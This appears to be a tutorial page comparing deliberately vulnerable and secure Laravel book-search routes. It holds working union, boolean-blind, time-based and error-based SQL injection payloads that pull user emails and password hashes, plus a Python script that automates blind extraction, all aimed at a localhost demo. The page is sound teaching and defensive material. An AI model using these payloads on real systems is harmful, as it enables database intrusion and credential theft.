|--------------------------------------------------------------------------
*/
Route::get('/', function () {
return view('welcome', [
'vulnerableRoutes' => [
'Search' => route('vulnerable.books.search'),
'Index' => route('vulnerable.books.index'),
'Complex Search' => url('/vulnerable/books/complex-search'),
],
'secureRoutes' => [
'Search' => route('secure.books.search'),
'Index' => route('secure.books.index'),
]
]);
});
Auth::routes();
Route::get('/home', [App\Http\Controllers\HomeController::class, 'index'])->name('home');
๐ฅ Detailed Exploitation Examples
๐ 1. Union-based SQL Injection - Step by Step
Target URL:
http://localhost:8000/vulnerable/books/search?search=test
Phase 1: Reconnaissance
-- Step 1: Test for injection vulnerability
search=test' AND '1'='1
// Expected: Normal results (condition is TRUE)
search=test' AND '1'='2
// Expected: No results or error (condition is FALSE)
-- Step 2: Determine number of columns in original query
search=test' ORDER BY 1 --
// Works? Continue...
search=test' ORDER BY 2 --
// Works? Continue...
search=test' ORDER BY 6 --
// Works? Continue...
search=test' ORDER BY 7 --
// Error? Original query has 6 columns
Phase 2: Information Gathering
-- Step 3: Determine which columns are displayed
search=test' UNION SELECT 1,2,3,4,5,6 --
// Note which numbers appear in the results
-- Step 4: Extract database information
search=test' UNION SELECT database(),version(),user(),@@datadir,5,6 --
// Results might show: laravel_demo, 8.0.30-MySQL, app_user@localhost, /var/lib/mysql
-- Step 5: Extract table names
search=test' UNION SELECT table_name,table_schema,3,4,5,6 FROM information_schema.tables WHERE table_schema=database() --
// Results: books, users, comments, audit_logs, etc.
Phase 3: Data Extraction
-- Step 6: Extract column names from sensitive tables
search=test' UNION SELECT column_name,table_name,data_type,4,5,6 FROM information_schema.columns WHERE table_name='users' --
// Results: id, name, email, password, remember_token, etc.
-- Step 7: Extract sensitive data
search=test' UNION SELECT name,email,password,4,5,6 FROM users WHERE email LIKE '%admin%' --
// Results: Admin User, admin@example.com, $2y$10$hash...
-- Step 8: Extract all user data (if needed)
search=test' UNION SELECT CONCAT(name,':',email,':',LEFT(password,20)),2,3,4,5,6 FROM users LIMIT 5 --
Advanced Techniques:
-- Extract data from multiple tables
search=test' UNION SELECT
CONCAT('USER:', u.name, ' | BOOK:', b.title, ' | COMMENT:', c.content),
2,3,4,5,6
FROM users u
JOIN comments c ON u.id = c.user_id
JOIN books b ON c.book_id = b.id
LIMIT 10 --
-- Extract configuration data
search=test' UNION SELECT variable_name,variable_value,3,4,5,6 FROM information_schema.global_variables WHERE variable_name LIKE '%version%' --
๐ฏ 2. Boolean-based Blind SQL Injection
Target URL:
http://localhost:8000/vulnerable/books/check/availability?isbn=978-0123456789&location=main
Phase 1: Vulnerability Detection
-- Test 1: True condition
isbn=978-0123456789' AND '1'='1' --
// Response: {"status":"available","message":"Book is available"}
-- Test 2: False condition
isbn=978-0123456789' AND '1'='2' --
// Response: {"status":"unavailable","message":"Book is not available"}
-- Confirmed: Boolean-based blind injection possible
Phase 2: Information Extraction
-- Extract database name length
isbn=978-0123456789' AND LENGTH(database())=1 -- // unavailable
isbn=978-0123456789' AND LENGTH(database())=2 -- // unavailable
...
isbn=978-0123456789' AND LENGTH(database())=18 -- // available
// Database name is 18 characters long
-- Extract database name character by character
isbn=978-0123456789' AND SUBSTRING(database(),1,1)='a' -- // unavailable
isbn=978-0123456789' AND SUBSTRING(database(),1,1)='i' -- // available
// First character is 'i'
isbn=978-0123456789' AND SUBSTRING(database(),2,1)='n' -- // available
// Second character is 'n'
// Continue until complete: "injection_security_demo"
Phase 3: Table Discovery
-- Check if 'users' table exists
isbn=978-0123456789' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users' AND table_schema=database())=1 --
// Response: available = table exists
-- Count users in table
isbn=978-0123456789' AND (SELECT COUNT(*) FROM users)>0 -- // available
isbn=978-0123456789' AND (SELECT COUNT(*) FROM users)>5 -- // available
isbn=978-0123456789' AND (SELECT COUNT(*) FROM users)>10 -- // unavailable
// Between 6-10 users exist
Phase 4: Data Extraction
-- Extract admin user existence
isbn=978-0123456789' AND (SELECT COUNT(*) FROM users WHERE email LIKE '%admin%')>0 --
// Response: available = admin user exists
-- Extract admin password length
isbn=978-0123456789' AND (SELECT LENGTH(password) FROM users WHERE email LIKE '%admin%' LIMIT 1)=60 --
// Response: available = password hash is 60 characters (bcrypt)
-- Extract admin email character by character
isbn=978-0123456789' AND SUBSTRING((SELECT email FROM users WHERE email LIKE '%admin%' LIMIT 1),1,1)='a' --
// Continue extraction process...
Automation Script Example:
import requests
import string
import time
def blind_sql_injection(url, injection_point, payload_template):
"""
Automated boolean-based blind SQL injection
"""
characters = string.ascii_lowercase + string.digits + '@.-_'
result = ""
for position in range(1, 50): # Max 50 characters
for char in characters:
payload = payload_template.format(position=position, char=char)
params = {injection_point: payload}
response = requests.get(url, params=params)
if '"status":"available"' in response.text:
result += char
print(f"Found character {position}: {char} (Current: {result})")
break
time.sleep(0.1) # Be nice to the server
else:
break # No more characters found
return result
# Example usage
url = "http://localhost:8000/vulnerable/books/check/availability"
payload_template = "978-0123456789' AND SUBSTRING((SELECT database()),{position},1)='{char}' --"
database_name = blind_sql_injection(url, 'isbn', payload_template)
print(f"Database name: {database_name}")
โฐ 3. Time-based Blind SQL Injection
Target URL:
http://localhost:8000/vulnerable/books/complex-search
Phase 1: Detection
-- Test with delay
POST /vulnerable/books/complex-search
Content-Type: application/x-www-form-urlencoded
title=test' AND SLEEP(5) --
// Response time: ~5 seconds = vulnerable
Phase 2: Data Extraction
-- Extract database name length with time delay
title=test' AND IF(LENGTH(database())=18, SLEEP(5), 0) --
// Delay = 18 characters
-- Extract characters with time delay
title=test' AND IF(SUBSTRING(database(),1,1)='i', SLEEP(3), 0) --
// 3 second delay = first character is 'i'
-- Extract admin user data
title=test' AND IF((SELECT COUNT(*) FROM users WHERE email='admin@example.com')>0, SLEEP(5), 0) --
// 5 second delay = admin user exists
-- Extract password hash character by character
title=test' AND IF(SUBSTRING((SELECT password FROM users WHERE email='admin@example.com'),1,1)='$', SLEEP(3), 0) --
// 3 second delay = first character is '$' (bcrypt hash)
Advanced Time-based Techniques:
-- Binary search for faster extraction
title=test' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE email='admin@example.com'),1,1))>64, SLEEP(2), 0) --
-- Extract multiple data points
title=test' AND IF((SELECT COUNT(*) FROM users WHERE created_at > '2024-01-01')>5, SLEEP(4), 0) --
-- Conditional data extraction
title=test' AND IF((SELECT user_id FROM comments WHERE content LIKE '%excellent%' LIMIT 1)=1, SLEEP(3), 0) --
๐ 4. Error-based SQL Injection
Target URL:
http://localhost:8000/vulnerable/books/details/1
Technique: Double Query Error-based Injection
-- Payload structure
id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT sensitive_data), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)
-- Extract database version
id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)
// Error: Duplicate entry '8.0.30-MySQL1' for key 'group_key'
-- Extract database name
id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)
// Error: Duplicate entry 'injection_security_demo1' for key 'group_key'
-- Extract table names
id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)
// Error: Duplicate entry 'users1' for key 'group_key'
-- Extract user data
id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT CONCAT(name,':',email) FROM users LIMIT 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)
// Error: Duplicate entry 'Admin User:admin@example.com1' for key 'group_key'
Alternative Error-based Techniques:
-- Using EXTRACTVALUE (MySQL)
id=1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))
// Error: XPATH syntax error: '~injection_security_demo~'
-- Using UPDATEXML (MySQL)
id=1 AND UPDATEXML(1, CONCAT(0x7e, (SELECT user()), 0x7e), 1)
// Error: XPATH syntax error: '~app_user@localhost~'
-- Using geometric functions (MySQL)
id=1 AND GEOMETRYCOLLECTION((SELECT user()))
// Error: Illegal non geometric 'app_user@localhost' value found
๐ก๏ธ SECURE IMPLEMENTATION - Production Ready
โ 1. SecureBookController - The Right Way
php
// app/Http/Controllers/SecureBookController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use App\Models\Book;
use App\Models\Comment;
use App\Models\AuditLog;
use App\Http\Requests\BookSearchRequest;
class SecureBookController extends Controller
{
/**
* โ
SECURE: Comprehensive search with multiple protection layers
*/
public function search(BookSearchRequest $request)
{
// Input already validated by BookSearchRequest
$validated = $request->getSafeInput();
$search = $validated['search'] ?? '';
$category = $validated['category'] ?? '';
$sortBy = $validated['sort_by'] ?? 'title';
$order = $validated['order'] ?? 'asc';
$perPage = $validated['per_page'] ?? 10;
// Rate limiting check
$cacheKey = 'search_limit:' . request()->ip();
$searchCount = Cache::get($cacheKey, 0);
if ($searchCount > 30) { // Max 30 searches per minute
AuditLog::logSecurityEvent(
'rate_limit_exceeded',
'medium',
'Search rate limit exceeded',
['ip' => request()->ip(), 'count' => $searchCount]
);
return response()->json(['error' => 'Rate limit exceeded'], 429);
}
Cache::put($cacheKey, $searchCount + 1, 60);
// Build secure query using Eloquent Query Builder
$query = Book::query();
// Safe search implementation
if (!empty($search)) {
$query->searchSafe($search);
}
// Safe category filtering
if (!empty($category)) {
$query->byCategory($category);
}
// Safe sorting with whitelist
$allowedSortColumns = ['title', 'author', 'price', 'created_at'];
if (in_array($sortBy, $allowedSortColumns)) {
$query->orderBy($sortBy, $order);
}
// Execute query with pagination
$books = $query->with(['approvedComments' => function($q) {
$q->with('user:id,name')
->select('id', 'book_id', 'user_id', 'rating', 'content', 'created_at')
->latest()
->limit(3);
}])
->paginate($perPage);
// Log successful search
Log::info('Secure search executed', [
'search_term' => $search,
'category' => $category,
'results_count' => $books->count(),
'user_ip' => request()->ip()
]);
return view('books.secure-search', compact('books', 'search', 'category'));
}
/**
* โ
Top comments (1)
Mantap bang!